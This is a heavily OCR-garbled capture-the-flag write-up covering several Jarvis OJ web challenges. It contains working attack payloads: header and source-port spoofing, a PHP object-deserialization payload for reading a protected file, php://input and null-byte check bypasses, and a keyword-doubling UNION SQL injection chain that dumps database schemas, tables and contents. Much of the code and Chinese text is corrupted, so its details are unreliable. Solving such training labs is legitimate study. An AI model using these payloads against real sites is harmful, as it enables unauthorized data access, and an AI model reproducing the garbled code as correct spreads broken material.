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curl --local-port 51 http://lweb.jarvisoj.com: 32770/
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C-sUsers Adninistrator>curl —local-port 51 http:- - web.jarvisoj.com:32778-
<*DOCTYPE html>

Ktitle>Web 188<{/title’>
Kstyle type=""text csz'">
hody {
hackground:-gray;
text—align:-center;

<{h3>¥eahtt Here's your flag:

C:Users Adninistrator>

windows T curl T # ik https://curl.haxx.se/download.html, i%&#Fwindowshi 4s Bl 7]

LOCALHOST

BHEANO: http://web.jarvisoj.com:32774/
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Live HTTP Repl
GET httpy//web.jarvisoj.com:32774/ HTTP/11 ~

HTTP Headers

Host: web.jarvisoj.com:32774

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win54; x64; n:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,applicationfxml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US:q=0.5,en;q=0.3

Accept-Enceding: gzip, deflate

X-Forwarded-For:127.0.0.1

| Connection: keep-alive

Upgrade-Insecure-Requests: 1

Send POST Content ?

Content-Length: 0

[ty | [ o |

5 2lflag

Login
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password: submit
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http://web.jarvisoj.com:32772/

HTTP Headers
Accept-Encoding: gzip, deflate
Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK

Date: Tue, 28 Nowv 2017 05:22:51 GMT

Server: Apache/2.4.18 (Unix) Open55L/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.21

Hint: "select * from “admin” where password="".md5($pass,true).”""

m

Content-Length:
Keep-Alive: timeout=>5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-3
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XEHE: http://www.freebuf.com/column/150063.html
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<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
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view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (lempty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>


http://www.freebuf.com/column/150063.html
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view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = "'') {
$this -> file = $filename;

}

function readfile() {
if (lempty($this->file) && stripos($this->file,".."')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file, '\\"')==FALSE) {
return @file_get contents($this->file);

?>
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<?php
$f = $_GET['img'];
if (lempty($f)) {
$f = base64_decode($f);
if (stripos($f,'.."')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
8&& stripos($f, "pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";

?>

e, BEET. "\, "petf
&Ja R ER LBIBATFFIML, &JGE7Eindex phpiR 2 FFFILJE BT AR
F 5146 B0 R AR -

<?php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;

}
$str = new Shield();

echo serialize($str);
?>

¥ pctf.phpfe A= #$filename
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0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
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@ Load URL  view-sourcethttp://web jarvisoj.com:32768/index.php?class=0:6:"Shield™: 1:{s:4:"file";s:8:" pctf.php™;}
% split URL

) Execute

[7] Enable Post data [ | Enable Referrer

{?php
//Ture Flag :
//Fake flag:
echo “FLAG: PCTF{I _4m not fld4g}”
2>
{img src="showimg. php?img=cZhpZWxklmpwZw—=" width="100%"/>
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<?php
if(!$_GET['id'])
{
header('Location: index.php?id=1");
exit();
}
$id=$ GET['id'];
$a=%_GET['a'];
$b=$ GET['b'];
if(stripos(%$a,'."))
{
echo 'Hahahahahaha'; return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and
substr($b,0,1)!=4)
{
require("flag.txt");
}

else

{

print "work harder!harder!harder!";

ctf-SE3F & _EA LB —EHE
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http://web.jarvisoj.com:32780/index.php?id=a&a=php://input&b=%00122111

postN%¥: "1112 is a nice lab!"
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Come ON!!! {/~HT2mCpcvOLf}
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//ERRA: B33
http://web.jarvisoj.com:32780/"HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111%/1,2,3#
// % 33test

http://web.jarvisoj.com:32780/*HT2mCpcvOLf/index.php?
id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(schema_name)/*111*/frfromom/*111*/informatio
n_schema.schemata#

//BF%: BEFcontent

http://web.jarvisoj.com:32780/~HT2mCpcvOLf/index.php?
id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(table_name)/*111*/frfromom/*111*/information
_schema.tables/*111*/where/*111*/table_schema=0x74657374

//1BFB: 838)id, context,title

http://web.jarvisoj.com:32780/~HT2mCpcvOLf/index.php?
id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(column_name)/*111*/frfromom/*111*/informatio
n_schema.columns/*111*/where/*111*/table_name=0x636f6e74656e74

/11BN

http://web.jarvisoj.com:32780/~HT2mCpcvOLf/index.php?
id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#
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